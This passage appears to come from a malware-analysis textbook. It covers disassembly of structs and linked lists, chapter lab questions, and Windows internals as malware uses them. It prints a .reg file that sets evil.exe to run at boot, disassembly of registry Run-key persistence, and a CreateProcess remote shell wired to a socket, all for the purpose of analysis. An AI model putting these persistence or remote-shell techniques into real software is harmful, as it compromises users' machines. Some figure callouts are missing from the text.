Listing 6-28 shows the disassembly of the test method shown in List-
ing 6-26. arg_0 is the base address of the structure. Offset 0x14 stores the
character within the struct, and 0x61 corresponds to the letter a in ASCII.
00401000 push ebp
00401001 mov ebp, esp
00401003 push ecx
00401004 mov eax,[ebp+arg_0]
00401007 mov byte ptr [eax+14h], 61h
0040100B mov ecx, [ebp+arg_0]
0040100E fld ds:dbl_40B120
00401014 fstp qword ptr [ecx+18h]
00401017 mov [ebp+var_4], 0
0040101E jmp short loc_401029
00401020 loc_401020:
00401020 mov edx,[ebp+var_4]
00401023 add edx, 1
00401026 mov [ebp+var_4], edx
00401029 loc_401029:
00401029 cmp [ebp+var_4], 5
0040102D jge short loc_40103D
0040102F mov eax,[ebp+var_4]
00401032 mov ecx,[ebp+arg_0]
130
Chapter 6
00401035 mov edx,[ebp+var_4]
00401038 mov [ecx+eax*4],edx
0040103B jmp short loc_401020
0040103D loc_40103D:
0040103D mov esp, ebp
0040103F pop ebp
00401040 retn
Listing 6-28: Assembly code for the test function in the struct example in Listing 6-26
We can tell that offset 0x18 is a double because it is used as part of a
floating-point instruction at . We can also tell that integers are moved into
offset 0, 4, 8, 0xC, and 0x10 by examining the for loop and where these off-
sets are accessed at . We can infer the contents of the structure from this
analysis.
In IDA Pro, you can create structures and assign them to memory
references using the T hotkey. Doing this will change the instruction mov
[eax+14h], 61h to mov [eax + my_structure.y], 61h. The latter is easier to read,
and marking structures can often help you understand the disassembly more
quickly, especially if you are constantly viewing the structure used. To use the
T hotkey effectively in this example, you would need to create the my_structure
structure manually using IDA Pro’s structure window. This can be a tedious
process, but it can be helpful for structures that you encounter frequently.
Analyzing Linked List Traversal
A linked list is a data structure that consists of a sequence of data records,
and each record includes a field that contains a reference (link) to the next
record in the sequence. The principal benefit of using a linked list over an
array is that the order of the linked items can differ from the order in which
the data items are stored in memory or on disk. Therefore, linked lists
allow the insertion and removal of nodes at any point in the list.
Listing 6-29 shows a C code example of a linked list and its traversal.
This linked list consists of a series of node structures named pnode, and it is
manipulated with two loops. The first loop at creates 10 nodes and fills
them with data. The second loop at iterates over all the records and
prints their contents.
struct node
{
int x;
struct node * next;
};
typedef struct node pnode;
void main()
{
pnode * curr, * head;
int i;
Recognizing C Code Constructs in Assembly
131
head = NULL;
for(i=1;i<=10;i++)
{
curr = (pnode *)malloc(sizeof(pnode));
curr->x = i;
curr->next = head;
head = curr;
}
curr = head;
while(curr)
{
printf("%d\n", curr->x);
curr = curr->next ;
}
}
Listing 6-29: C code for a linked list traversal
The best way to understand the disassembly is to identify the two code
constructs within the main method. And that is, of course, the crux of this
chapter: Your ability to recognize these constructs makes the analysis easier.
In Listing 6-30, we identify the for loop first. var_C corresponds to i,
which is the counter for the loop. var_8 corresponds to the head variable, and
var_4 is the curr variable. var_4 is a pointer to a struct with two variables that
are assigned values (shown at and ).
The while loop ( through ) executes the iteration through the linked
list. Within the loop, var_4 is set to the next record in the list at .
0040106A mov [ebp+var_8], 0
00401071 mov [ebp+var_C], 1
00401078
00401078 loc_401078:
00401078 cmp [ebp+var_C], 0Ah
0040107C jg short loc_4010AB
0040107E mov [esp+18h+var_18], 8
00401085 call malloc
0040108A mov [ebp+var_4], eax
0040108D mov edx, [ebp+var_4]
00401090 mov eax, [ebp+var_C]
00401093 mov [edx], eax
00401095 mov edx, [ebp+var_4]
00401098 mov eax, [ebp+var_8]
0040109B mov [edx+4], eax
0040109E mov eax, [ebp+var_4]
004010A1 mov [ebp+var_8], eax
004010A4 lea eax, [ebp+var_C]
004010A7 inc dword ptr [eax]
004010A9 jmp short loc_401078
004010AB loc_4010AB:
004010AB mov eax, [ebp+var_8]
132
Chapter 6
004010AE mov [ebp+var_4], eax
004010B1
004010B1 loc_4010B1:
004010B1 cmp [ebp+var_4], 0
004010B5 jz short locret_4010D7
004010B7 mov eax, [ebp+var_4]
004010BA mov eax, [eax]
004010BC mov [esp+18h+var_14], eax
004010C0 mov [esp+18h+var_18], offset aD ; "%d\n"
004010C7 call printf
004010CC mov eax, [ebp+var_4]
004010CF mov eax, [eax+4]
004010D2 mov [ebp+var_4], eax
004010D5 jmp short loc_4010B1
Listing 6-30: Assembly code for the linked list traversal example in Listing 6-29
To recognize a linked list, you must first recognize that some object con-
tains a pointer that points to another object of the same type. The recursive
nature of the objects is what makes it linked, and this is what you need to rec-
ognize from the disassembly.
In this example, realize that at , var_4 is assigned eax, which comes from
[eax+4], which itself came from a previous assignment of var_4. This means
that whatever struct var_4 is must contain a pointer 4 bytes into it. This points
to another struct that must also contain a pointer 4 bytes into another struct,
and so on.
Conclusion
This chapter was designed to expose you to a constant task in malware analy-
sis: abstracting yourself from the details. Don’t get bogged down in the low-
level details, but develop the ability to recognize what the code is doing at a
higher level.
We’ve shown you each of the major C coding constructs in both C and
assembly to help you quickly recognize the most common constructs during
analysis. We’ve also offered a couple of examples showing where the com-
piler decided to do something different, in the case of structs and (when an
entirely different compiler was used) in the case of function calls. Develop-
ing this insight will help you as you navigate the path toward recognizing new
constructs when you encounter them in the wild.
Recognizing C Code Constructs in Assembly
133
L A B S
The goal of the labs for this chapter is to help you to understand the overall
functionality of a program by analyzing code constructs. Each lab will guide
you through discovering and analyzing a new code construct. Each lab builds
on the previous one, thus creating a single, complicated piece of malware
with four constructs. Once you’ve finished working through the labs, you
should be able to more easily recognize these individual constructs when you
encounter them in malware.
Lab 6-1
In this lab, you will analyze the malware found in the file Lab06-01.exe.
Questions
1.
What is the major code construct found in the only subroutine called
by main?
2.
What is the subroutine located at 0x40105F?
3.
What is the purpose of this program?
Lab 6-2
Analyze the malware found in the file Lab06-02.exe.
Questions
1.
What operation does the first subroutine called by main perform?
2.
What is the subroutine located at 0x40117F?
3.
What does the second subroutine called by main do?
4.
What type of code construct is used in this subroutine?
5.
Are there any network-based indicators for this program?
6.
What is the purpose of this malware?
Lab 6-3
In this lab, we’ll analyze the malware found in the file Lab06-03.exe.
134
Chapter 6
Questions
1.
Compare the calls in main to Lab 6-2’s main method. What is the new
function called from main?
2.
What parameters does this new function take?
3.
What major code construct does this function contain?
4.
What can this function do?
5.
Are there any host-based indicators for this malware?
6.
What is the purpose of this malware?
Lab 6-4
In this lab, we’ll analyze the malware found in the file Lab06-04.exe.
Questions
1.
What is the difference between the calls made from the main method in
Labs 6-3 and 6-4?
2.
What new code construct has been added to main?
3.
What is the difference between this lab’s parse HTML function and
those of the previous labs?
4.
How long will this program run? (Assume that it is connected to the
Internet.)
5.
Are there any new network-based indicators for this malware?
6.
What is the purpose of this malware?
A N A L Y Z I N G M A L I C I O U S
W I N D O W S P R O G R A M S
Most malware targets Windows platforms and interacts
closely with the OS. A solid understanding of basic
Windows coding concepts will allow you to identify
host-based indicators of malware, follow malware as
it uses the OS to execute code without a jump or call
instruction, and determine the malware’s purpose.
This chapter covers a variety of concepts that will be familiar to Windows
programmers, but you should read it even if you are in that group. Non-
malicious programs are generally well formed by compilers and follow Micro-
soft guidelines, but malware is typically poorly formed and tends to perform
unexpected actions. This chapter will cover some unique ways that malware
uses Windows functionality.
Windows is a complex OS, and this chapter can’t possibly cover every
aspect of it. Instead, we focus on the functionality most relevant to malware
analysis. We begin with a brief overview of some common Windows API ter-
minology, and then discuss the ways that malware can modify the host system
136
Chapter 7
and how you can create host-based indicators. Next, we cover the different
ways that a program can execute code located outside the file you’re ana-
lyzing. We finish with a discussion of how malware uses kernel mode for
additional functionality and stealth.
The Windows API
The Windows API is a broad set of functionality that governs the way that
malware interacts with the Microsoft libraries. The Windows API is so exten-
sive that developers of Windows-only applications have little need for third-
party libraries.
The Windows API uses certain terms, names, and conventions that you
should become familiar with before turning to specific functions.
Types and Hungarian Notation
Much of the Windows API uses its own names to represent C types. For
example, the DWORD and WORD types represent 32-bit and 16-bit unsigned
integers. Standard C types like int, short, and unsigned int are not normally
used.
Windows generally uses Hungarian notation for API function identifiers.
This notation uses a prefix naming scheme that makes it easy to identify a
variable’s type. Variables that contain a 32-bit unsigned integer, or DWORD, start
with dw. For example, if the third argument to the VirtualAllocEx function is
dwSize, you know that it’s a DWORD. Hungarian notation makes it easier to iden-
tify variable types and to parse code, but it can become unwieldy.
Table 7-1 lists some of the most common Windows API types (there are
many more). Each type’s prefix follows it in parentheses.
Table 7-1: Common Windows API Types
Type and prefix
Description
WORD (w)
A 16-bit unsigned value.
DWORD (dw)
A double-WORD, 32-bit unsigned value.
Handles (H)
A reference to an object. The information stored in the handle is not docu-
mented, and the handle should be manipulated only by the Windows API.
Examples include HModule, HInstance, and HKey.
Long Pointer (LP)
A pointer to another type. For example, LPByte is a pointer to a byte, and
LPCSTR is a pointer to a character string. Strings are usually prefixed by LP
because they are actually pointers. Occasionally, you will see Pointer
(P)... prefixing another type instead of LP; in 32-bit systems, this is the
same as LP. The difference was meaningful in 16-bit systems.
Callback
Represents a function that will be called by the Windows API. For example,
the InternetSetStatusCallback function passes a pointer to a function that
is called whenever the system has an update of the Internet status.
Analyzing Malicious Windows Programs
137
Handles
Handles are items that have been opened or created in the OS, such as a
window, process, module, menu, file, and so on. Handles are like pointers in
that they refer to an object or memory location somewhere else. However,
unlike pointers, handles cannot be used in arithmetic operations, and they
do not always represent the object’s address. The only thing you can do with
a handle is store it and use it in a later function call to refer to the same object.
The CreateWindowEx function has a simple example of a handle. It returns
an HWND, which is a handle to a window. Whenever you want to do anything
with that window, such as call DestroyWindow, you’ll need to use that handle.
NOTE
According to Microsoft you can’t use the HWND as a pointer or arithmetic value. How-
ever, some functions return handles that represent values that can be used as pointers.
We’ll point those out as we cover them in this chapter.
File System Functions
One of the most common ways that malware interacts with the system is by
creating or modifying files, and distinct filenames or changes to existing file-
names can make good host-based indicators.
File activity can hint at what the malware does. For example, if the mal-
ware creates a file and stores web-browsing habits in that file, the program is
probably some form of spyware.
Microsoft provides several functions for accessing the file system, as
follows:
CreateFile
This function is used to create and open files. It can open existing files,
pipes, streams, and I/O devices, and create new files. The parameter
dwCreationDisposition controls whether the CreateFile function creates a
new file or opens an existing one.
ReadFile and WriteFile
These functions are used for reading and writing to files. Both operate
on files as a stream. When you first call ReadFile, you read the next several
bytes from a file; the next time you call it, you read the next several bytes
after that. For example, if you open a file and call ReadFile with a size
of 40, the next time you call it, it will read beginning with the forty-first
byte. As you can imagine, though, neither function makes it particularly
easy to jump around within a file.
CreateFileMapping and MapViewOfFile
File mappings are commonly used by malware writers because they
allow a file to be loaded into memory and manipulated easily. The
CreateFileMapping function loads a file from disk into memory. The
MapViewOfFile function returns a pointer to the base address of the
mapping, which can be used to access the file in memory. The program
calling these functions can use the pointer returned from MapViewOfFile
138
Chapter 7
to read and write anywhere in the file. This feature is extremely handy
when parsing a file format, because you can easily jump to different
memory addresses.
NOTE
File mappings are commonly used to replicate the functionality of the Windows loader.
After obtaining a map of the file, the malware can parse the PE header and make all
necessary changes to the file in memory, thereby causing the PE file to be executed as if it
had been loaded by the OS loader.
Special Files
Windows has a number of file types that can be accessed much like regular
files, but that are not accessed by their drive letter and folder (like c:\docs).
Malicious programs often use special files.
Some special files can be stealthier than regular ones because they don’t
show up in directory listings. Certain special files can provide greater access
to system hardware and internal data.
Special files can be passed as strings to any of the file-manipulation func-
tions, and will operate on a file as if it were a normal file. Here, we’ll look at
shared files, files accessible via namespaces, and alternate data streams.
Shared Files
Shared files are special files with names that start with \\serverName\share or
\\?\serverName\share. They access directories or files in a shared folder stored
on a network. The \\?\ prefix tells the OS to disable all string parsing, and it
allows access to longer filenames.
Files Accessible via Namespaces
Additional files are accessible via namespaces within the OS. Namespaces
can be thought of as a fixed number of folders, each storing different types
of objects. The lowest level namespace is the NT namespace with the prefix \.
The NT namespace has access to all devices, and all other namespaces exist
within the NT namespace.
NOTE
To browse the NT namespace on your system, use the WinObj Object Manager name-
space viewer available free from Microsoft.
The Win32 device namespace, with the prefix \\.\, is often used by mal-
ware to access physical devices directly, and read and write to them like a
file. For example, a program might use the \\ .\PhysicalDisk1 to directly access
PhysicalDisk1 while ignoring its file system, thereby allowing it to modify the
disk in ways that are not possible through the normal API. Using this method,
the malware might be able to read and write data to an unallocated sector
without creating or accessing files, which allows it to avoid detection by anti-
virus and security programs.
For example, the Witty worm from a few years back accessed \ Device\
PhysicalDisk1 via the NT namespace to corrupt its victim’s file system. It
would open the \ Device\ PhysicalDisk1 and write to a random space on the
Analyzing Malicious Windows Programs
139
drive at regular intervals, eventually corrupting the victim’s OS and render-
ing it unable to boot. The worm didn’t last very long, because the victim’s sys-
tem often failed before the worm could spread, but it caused a lot of damage
to the systems it did infect.
Another example is malware usage of \Device\PhysicalMemory in order to
access physical memory directly, which allows user-space programs to write to
kernel space. This technique has been used by malware to modify the kernel
and hide programs in user space.
NOTE
Beginning with Windows 2003 SP1, \Device\PhysicalMemory is inaccessible from
user space. However, you can still get to \Device\PhysicalMemory from kernel space,
which can be used to access low-level information such as BIOS code and configuration.
Alternate Data Streams
The Alternate Data Streams (ADS) feature allows additional data to be added to
an existing file within NTFS, essentially adding one file to another. The extra
data does not show up in a directory listing, and it is not shown when display-
ing the contents of the file; it’s visible only when you access the stream.
ADS data is named according to the convention normalFile.txt:Stream:$DATA,
which allows a program to read and write to a stream. Malware authors like
ADS because it can be used to hide data.
The Windows Registry
The Windows registry is used to store OS and program configuration informa-
tion, such as settings and options. Like the file system, it is a good source of
host-based indicators and can reveal useful information about the malware’s
functionality.
Early versions of Windows used .ini files to store configuration informa-
tion. The registry was created as a hierarchical database of information to
improve performance, and its importance has grown as more applications
use it to store information. Nearly all Windows configuration information is
stored in the registry, including networking, driver, startup, user account,
and other information.
Malware often uses the registry for persistence or configuration data. The
malware adds entries into the registry that will allow it to run automatically
when the computer boots. The registry is so large that there are many ways
for malware to use it for persistence.
Before digging into the registry, there are a few important registry terms
that you’ll need to know in order to understand the Microsoft documentation:
Root key
The registry is divided into five top-level sections called root
keys. Sometimes, the terms HKEY and hive are also used. Each of the
root keys has a particular purpose, as explained next.
Subkey
A subkey is like a subfolder within a folder.
Key
A key is a folder in the registry that can contain additional folders
or values. The root keys and subkeys are both keys.
140
Chapter 7
Value entry
A value entry is an ordered pair with a name and value.
Value or data
The value or data is the data stored in a registry entry.
Registry Root Keys
The registry is split into the following five root keys:
HKEY_LOCAL_MACHINE (HKLM)
Stores settings that are global to the local
machine
HKEY_CURRENT_USER (HKCU)
Stores settings specific to the current user
HKEY_CLASSES_ROOT
Stores information defining types
HKEY_CURRENT_CONFIG
Stores settings about the current hardware configu-
ration, specifically differences between the current and the standard
configuration
HKEY_USERS
Defines settings for the default user, new users, and current
users
The two most commonly used root keys are HKLM and HKCU. (These keys
are commonly referred to by their abbreviations.)
Some keys are actually virtual keys that provide a way to reference the
underlying registry information. For example, the key HKEY_CURRENT_USER is
actually stored in HKEY_USERS\SID, where SID is the security identifier of the
user currently logged in. For example, one popular subkey, HKEY_LOCAL_MACHINE\
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, contains a series of values that
are executables that are started automatically when a user logs in. The root
key is HKEY_LOCAL_MACHINE, which stores the subkeys of SOFTWARE, Microsoft,
Windows, CurrentVersion, and Run.
Regedit
The Registry Editor (Regedit), shown in Figure 7-1, is a built-in Windows tool
used to view and edit the registry. The window on the left shows the open
subkeys. The window on the right shows the value entries in the subkey. Each
value entry has a name, type, and value. The full path for the subkey currently
being viewed is shown at the bottom of the window.
Programs that Run Automatically
Writing entries to the Run subkey (highlighted in Figure 7-1) is a well-known
way to set up software to run automatically. While not a very stealthy tech-
nique, it is often used by malware to launch itself automatically.
The Autoruns tool (free from Microsoft) lists code that will run auto-
matically when the OS starts. It lists executables that run, DLLs loaded into
Internet Explorer and other programs, and drivers loaded into the kernel.
Autoruns checks about 25 to 30 locations in the registry for code designed
to run automatically, but it won’t necessarily list all of them.
Analyzing Malicious Windows Programs
141
Figure 7-1: The Regedit tool
Common Registry Functions
Malware often uses registry functions that are part of the Windows API in
order to modify the registry to run automatically when the system boots. The
following are the most common registry functions:
RegOpenKeyEx
Opens a registry for editing and querying. There are func-
tions that allow you to query and edit a registry key without opening it
first, but most programs use RegOpenKeyEx anyway.
RegSetValueEx
Adds a new value to the registry and sets its data.
RegGetValue
Returns the data for a value entry in the registry.
When you see these functions in malware, you should identify the regis-
try key they are accessing.
In addition to registry keys for running on startup, many registry values
are important to the system’s security and settings. There are too many to list
here (or anywhere), and you may need to resort to a Google search for regis-
try keys as you see them accessed by malware.
Analyzing Registry Code in Practice
Listing 7-1 shows real malware code opening the Run key from the registry
and adding a value so that the program runs each time Windows starts. The
RegSetValueEx function, which takes six parameters, edits a registry value entry
or creates a new one if it does not exist.
NOTE
When looking for function documentation for RegOpenKeyEx, RegSetValuEx, and so on,
remember to drop the trailing W or A character.
142
Chapter 7
0040286F push 2 ; samDesired
00402871 push eax ; ulOptions
00402872 push offset SubKey ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877 push HKEY_LOCAL_MACHINE ; hKey
0040287C call esi ; RegOpenKeyExW
0040287E test eax, eax
00402880 jnz short loc_4028C5
00402882
00402882 loc_402882:
00402882 lea ecx, [esp+424h+Data]
00402886 push ecx ; lpString
00402887 mov bl, 1
00402889 call ds:lstrlenW
0040288F lea edx, [eax+eax+2]
00402893 push edx ; cbData
00402894 mov edx, [esp+428h+hKey]
00402898 lea eax, [esp+428h+Data]
0040289C push eax ; lpData
0040289D push 1 ; dwType
0040289F push 0 ; Reserved
004028A1 lea ecx, [esp+434h+ValueName]
004028A8 push ecx ; lpValueName
004028A9 push edx ; hKey
004028AA call ds:RegSetValueExW
Listing 7-1: Code that modifies registry settings
Listing 7-1 contains comments at the end of most lines after the semi-
colon. In most cases, the comment is the name of the parameter being
pushed on the stack, which comes from the Microsoft documentation for the
function being called. For example, the first four lines have the comments
samDesired, ulOptions, "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
and hKey. These comments give information about the meanings of the val-
ues being pushed. The samDesired value indicates the type of security access
requested, the ulOptions field is an unsigned long integer representing the
options for the call (remember about Hungarian notation), and the hKey is the
handle to the root key being accessed.
The code calls the RegOpenKeyEx function at with the parameters
needed to open a handle to the registry key HKLM\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run. The value name at and data at are stored on the
stack as parameters to this function, and are shown here as having been
labeled by IDA Pro. The call to lstrlenW at is needed in order to get the size
of the data, which is given as a parameter to the RegSetValueEx function at .
Registry Scripting with .reg Files
Files with a .reg extension contain human-readable registry data. When a
user double-clicks a .reg file, it automatically modifies the registry by merg-
ing the information the file contains into the registry—almost like a script
for modifying the registry. As you might imagine, malware sometimes uses
.reg files to modify the registry, although it more often directly edits the reg-
istry programmatically.
Analyzing Malicious Windows Programs
143
Listing 7-2 shows an example of a .reg file.
Windows Registry Editor Version 5.00
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"MaliciousValue"="C:\Windows\evil.exe"
Listing 7-2: Sample .reg file
The first line in Listing 7-2 simply lists the version of the registry editor.
In this case, version 5.00 corresponds to Windows XP. The key to be modi-
fied, [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run], appears within
brackets. The last line of the .reg file contains the value name and the data
for that key. This listing adds the value name MaliciousValue, which will
automatically run C:\Windows\evil.exe each time the OS boots.
Networking APIs
Malware commonly relies on network functions to do its dirty work, and
there are many Windows API functions for network communication. The
task of creating network signatures is complicated, and it is the exclusive
focus of Chapter 14. Our goal here is to show you how to recognize and
understand common network functions, so you can identify what a malicious
program is doing when these functions are used.
Berkeley Compatible Sockets
Of the Windows network options, malware most commonly uses Berkeley
compatible sockets, functionality that is almost identical on Windows and
UNIX systems.
Berkeley compatible sockets’ network functionality in Windows is imple-
mented in the Winsock libraries, primarily in ws2_32.dll. Of these, the socket,
connect, bind, listen, accept, send, and recv functions are the most common,
and these are described in Table 7-2.
Table 7-2: Berkeley Compatible Sockets Networking Functions
Function
Description
socket
Creates a socket
bind
Attaches a socket to a particular port, prior to the accept call
listen
Indicates that a socket will be listening for incoming connections
accept
Opens a connection to a remote socket and accepts the connection
connect
Opens a connection to a remote socket; the remote socket must be waiting for the
connection
recv
Receives data from the remote socket
send
Sends data to the remote socket
144
Chapter 7
NOTE
The WSAStartup function must be called before any other networking functions in order
to allocate resources for the networking libraries. When looking for the start of network
connections while debugging code, it is useful to set a breakpoint on WSAStartup, because
the start of networking should follow shortly.
The Server and Client Sides of Networking
There are always two sides to a networking program: the server side, which
maintains an open socket waiting for incoming connections, and the client
side, which connects to a waiting socket. Malware can be either one of these.
In the case of client-side applications that connect to a remote socket,
you will see the socket call followed by the connect call, followed by send and
recv as necessary. For a service application that listens for incoming connec-
tions, the socket, bind, listen, and accept functions are called in that order,
followed by send and recv, as necessary. This pattern is common to both mali-
cious and nonmalicious programs.
Listing 7-3 shows an example of a server socket program.
NOTE
This example leaves out all error handling and parameter setup. A realistic example
would be littered with calls to WSAGetLastError and other error-handling functions.
00401041 push
ecx ; lpWSAData
00401042 push
202h ; wVersionRequested
00401047 mov
word ptr [esp+250h+name.sa_data], ax
0040104C call ds:WSAStartup
00401052 push 0 ; protocol
00401054 push 1 ; type
00401056 push 2 ; af
00401058 call ds:socket
0040105E push 10h ; namelen
00401060 lea edx, [esp+24Ch+name]
00401064 mov ebx, eax
00401066 push edx ; name
00401067 push ebx ; s
00401068 call ds:bind
0040106E mov esi, ds:listen
00401074 push 5 ; backlog
00401076 push ebx ; s
00401077 call esi ; listen
00401079 lea eax, [esp+248h+addrlen]
0040107D push eax ; addrlen
0040107E lea ecx, [esp+24Ch+hostshort]
00401082 push ecx ; addr
00401083 push ebx ; s
00401084 call ds:accept
Listing 7-3: A simplified program with a server socket
Analyzing Malicious Windows Programs
145
First, WSAStartup initializes the Win32 sockets system, and then a socket is
created with socket. The bind function attaches the socket to a port, the listen
call sets up the socket to listen, and the accept call hangs, waiting for a con-
nection from a remote socket.
The WinINet API
In addition to the Winsock API, there is a higher-level API called the WinINet
API. The WinINet API functions are stored in Wininet.dll. If a program imports
functions from this DLL, it’s using higher-level networking APIs.
The WinINet API implements protocols, such as HTTP and FTP, at the
application layer. You can gain an understanding of what malware is doing
based on the connections that it opens.
InternetOpen is used to initialize a connection to the Internet.
InternetOpenUrl is used to connect to a URL (which can be an HTTP page
or an FTP resource).
InternetReadFile works much like the ReadFile function, allowing the pro-
gram to read the data from a file downloaded from the Internet.
Malware can use the WinINet API to connect to a remote server and get
further instructions for execution.
Following Running Malware
There are many ways that malware can transfer execution in addition to the
jump and call instructions visible in IDA Pro. It’s important for a malware
analyst to be able to figure out how malware could be inducing other code to
run. The first and most common way to access code outside a single file is
through the use of DLLs.
DLLs
Dynamic link libraries (DLLs) are the current Windows way to use libraries to
share code among multiple applications. A DLL is an executable file that does
not run alone, but exports functions that can be used by other applications.
Static libraries were the standard prior to the use of DLLs, and static
libraries still exist, but they are much less common. The main advantage of
using DLLs over static libraries is that the memory used by the DLLs can be
shared among running processes. For example, if a library is used by two dif-
ferent running processes, the code for the static library would take up twice
as much memory, because it would be loaded into memory twice.
Another major advantage to using DLLs is that when distributing an exe-
cutable, you can use DLLs that are known to be on the host Windows system
without needing to redistribute them. This helps software developers and
malware writers minimize the size of their software distributions.
146
Chapter 7
DLLs are also a useful code-reuse mechanism. For example, large soft-
ware companies will create DLLs with some functionality that is common to
many of their applications. Then, when they distribute the applications, they
distribute the main .exe and any DLLs that application uses. This allows them
to maintain a single library of common code and distribute it only when
needed.
How Malware Authors Use DLLs
Malware writers use DLLs in three ways:
To store malicious code
Sometimes, malware authors find it more advantageous to store mali-
cious code in a DLL, rather than in an .exe file. Some malware attaches to
other processes, but each process can contain only one .exe file. Malware
sometimes uses DLLs to load itself into another process.
By using Windows DLLs
Nearly all malware uses the basic Windows DLLs found on every system.
The Windows DLLs contain the functionality needed to interact with
the OS. The way that a malicious program uses the Windows DLLs often
offers tremendous insight to the malware analyst. The imports that you
learned about in Chapter 1 and the functions covered throughout this
chapter are all imported from the Windows DLLs. Throughout the bal-
ance of this chapter, we will continue to cover functions from specific
DLLs and describe how malware uses them.
By using third-party DLLs
Malware can also use third-party DLLs to interact with other programs.
When you see malware that imports functions from a third-party DLL,
you can infer that it is interacting with that program to accomplish its
goals. For example, it might use the Mozilla Firefox DLL to connect back
to a server, rather than connecting directly through the Windows API.
Malware might also be distributed with a customized DLL to use func-
tionality from a library not already installed on the victim’s machine; for
example, to use encryption functionality that is distributed as a DLL.
Basic DLL Structure
Under the hood, DLL files look almost exactly like .exe files. DLLs use the PE
file format, and only a single flag indicates that the file is a DLL and not an
.exe. DLLs often have more exports and generally fewer imports. Other than
that, there’s no real difference between a DLL and an .exe.
The main DLL function is DllMain. It has no label and is not an export
in the DLL, but it is specified in the PE header as the file’s entry point. The
function is called to notify the DLL whenever a process loads or unloads the
library, creates a new thread, or finishes an existing thread. This notification
allows the DLL to manage any per-process or per-thread resources.
Analyzing Malicious Windows Programs
147
Most DLLs do not have per-thread resources, and they ignore calls to
DLLMain that are caused by thread activity. However, if the DLL has resources
that must be managed per thread, then those resources can provide a hint to
an analyst as to the DLL’s purpose.
Processes
Malware can also execute code outside the current program by creating a new
process or modifying an existing one. A process is a program being executed
by Windows. Each process manages its own resources, such as open handles
and memory. A process contains one or more threads that are executed by
the CPU. Traditionally, malware has consisted of its own independent pro-
cess, but newer malware more commonly executes its code as part of another
process.
Windows uses processes as containers to manage resources and keep sep-
arate programs from interfering with each other. There are usually at least
20 to 30 processes running on a Windows system at any one time, all sharing
the same resources, including the CPU, file system, memory, and hardware.
It would be very difficult to write programs if each program needed to manage
sharing resources with all the others. The OS allows all processes to access
these resources without interfering with each other. Processes also contrib-
ute to stability by preventing errors or crashes in one program from affecting
other programs.
One resource that’s particularly important for the OS to share among
processes is the system memory. To accomplish this, each process is given
a memory space that is separate from all other processes and that is a sum
of memory addresses that the process can use.
When the process requires memory, the OS will allocate memory and
give the process an address that it can use to access the memory. Processes
can share memory addresses, and they often do. For example, if one process
stores something at memory address 0x00400000, another can store some-
thing at that address, and the processes will not conflict. The addresses are
the same, but the physical memory that stores the data is not the same.
Like mailing addresses, memory addresses are meaningful only in con-
text. Just as the address 202 Main Street does not tell you a location unless
you also have the ZIP code, the address 0x0040A010 does not tell where the
data is stored unless you know the process. A malicious program that accesses
memory address 0x0040A010 will affect only what is stored at that address for
the process that contains the malicious code; other programs on the system
that use that address will be unaffected.
Creating a New Process
The function most commonly used by malware to create a new process is
CreateProcess. This function has many parameters, and the caller has a lot
of control over how it will be created. For example, malware could call this
function to create a process to execute its malicious code, in order to bypass
148
Chapter 7
host-based firewalls and other security mechanisms. Or it could create an
instance of Internet Explorer and then use that program to access malicious
content.
Malware commonly uses CreateProcess to create a simple remote shell
with just a single function call. One of the parameters to the CreateProcess
function, the STARTUPINFO struct, includes a handle to the standard input,
standard output, and standard error streams for a process. A malicious pro-
gram could set these values to a socket, so that when the program writes to
standard output, it is really writing to the socket, thereby allowing an attacker
to execute a shell remotely without running anything other than the call to
CreateProcess.
Listing 7-4 shows how CreateProcess could be used to create a simple
remote shell. Prior to this snippet, code would have opened a socket to
a remote location. The handle to the socket is stored on the stack and
entered into the STARTUPINFO structure. Then CreateProcess is called, and
all input and output for the process is routed through the socket.
004010DA mov eax, dword ptr [esp+58h+SocketHandle]
004010DE lea edx, [esp+58h+StartupInfo]
004010E2 push ecx ; lpProcessInformation
004010E3 push edx ; lpStartupInfo
004010E4 mov [esp+60h+StartupInfo.hStdError], eax
004010E8 mov [esp+60h+StartupInfo.hStdOutput], eax
004010EC mov [esp+60h+StartupInfo.hStdInput], eax
004010F0 mov eax, dword_403098
004010F5 push 0 ; lpCurrentDirectory
004010F7 push 0 ; lpEnvironment
004010F9 push 0 ; dwCreationFlags
004010FB mov dword ptr [esp+6Ch+CommandLine], eax
004010FF push 1 ; bInheritHandles
00401101 push 0 ; lpThreadAttributes
00401103 lea eax, [esp+74h+CommandLine]
00401107 push 0 ; lpProcessAttributes
00401109push eax ; lpCommandLine
0040110A push 0 ; lpApplicationName
0040110C mov [esp+80h+StartupInfo.dwFlags], 101h
00401114call ds:CreateProcessA
Listing 7-4: Sample code using the CreateProcess call
In the first line of code, the stack variable SocketHandle is placed into EAX.
(The socket handle is initialized outside this function.) The lpStartupInfo
structure for the process stores the standard output , standard input ,
and standard error that will be used for the new process. The socket is
placed into the lpStartupInfo structure for all three values (, , ). The
access to dword_403098 at contains the command line of the program to be
executed, which is eventually pushed on the stack as a parameter . The
call to CreateProcess at has 10 parameters, but all except lpCommandLine,
lpProcessInformation, and lpStartupInfo are either 0 or 1. (Some represent
NULL values and others represent flags, but none are interesting for mal-
ware analysis.)
Analyzing Malicious Windows Programs
149
The call to CreateProcess will create a new process so that all input and
output are redirected to a socket. To find the remote host, we would need to
determine where the socket is initialized (not included in Listing 7-4). To
discover which program will be run, we would need to find the string stored
at dword_403098 by navigating to that address in IDA Pro.
Malware will often create a new process by storing one program inside
another in the resource section. In Chapter 1, we discuss how the resource
section of the PE file can store any file. Malware will sometimes store another
executable in the resource section. When the program runs, it will extract
the additional executable from the PE header, write it to disk, and then call
CreateProcess to run the program. This is also done with DLLs and other
executable code. When this happens, you must open the program in the
Resource Hacker utility (discussed in Chapter 1) and save the embedded
executable file to disk in order to analyze it.
Threads
Processes are the container for execution, but threads are what the Windows
OS executes. Threads are independent sequences of instructions that are
executed by the CPU without waiting for other threads. A process contains
one or more threads, which execute part of the code within a process. Threads
within a process all share the same memory space, but each has its own pro-
cessor registers and stack.
Thread Context
When one thread is running, it has complete control of the CPU, or the CPU
core, and other threads cannot affect the state of the CPU or core. When a
thread changes the value of a register in a CPU, it does not affect any other
threads. Before an OS switches between threads, all values in the CPU are
saved in a structure called the thread context. The OS then loads the thread
context of a new thread into the CPU and executes the new thread.
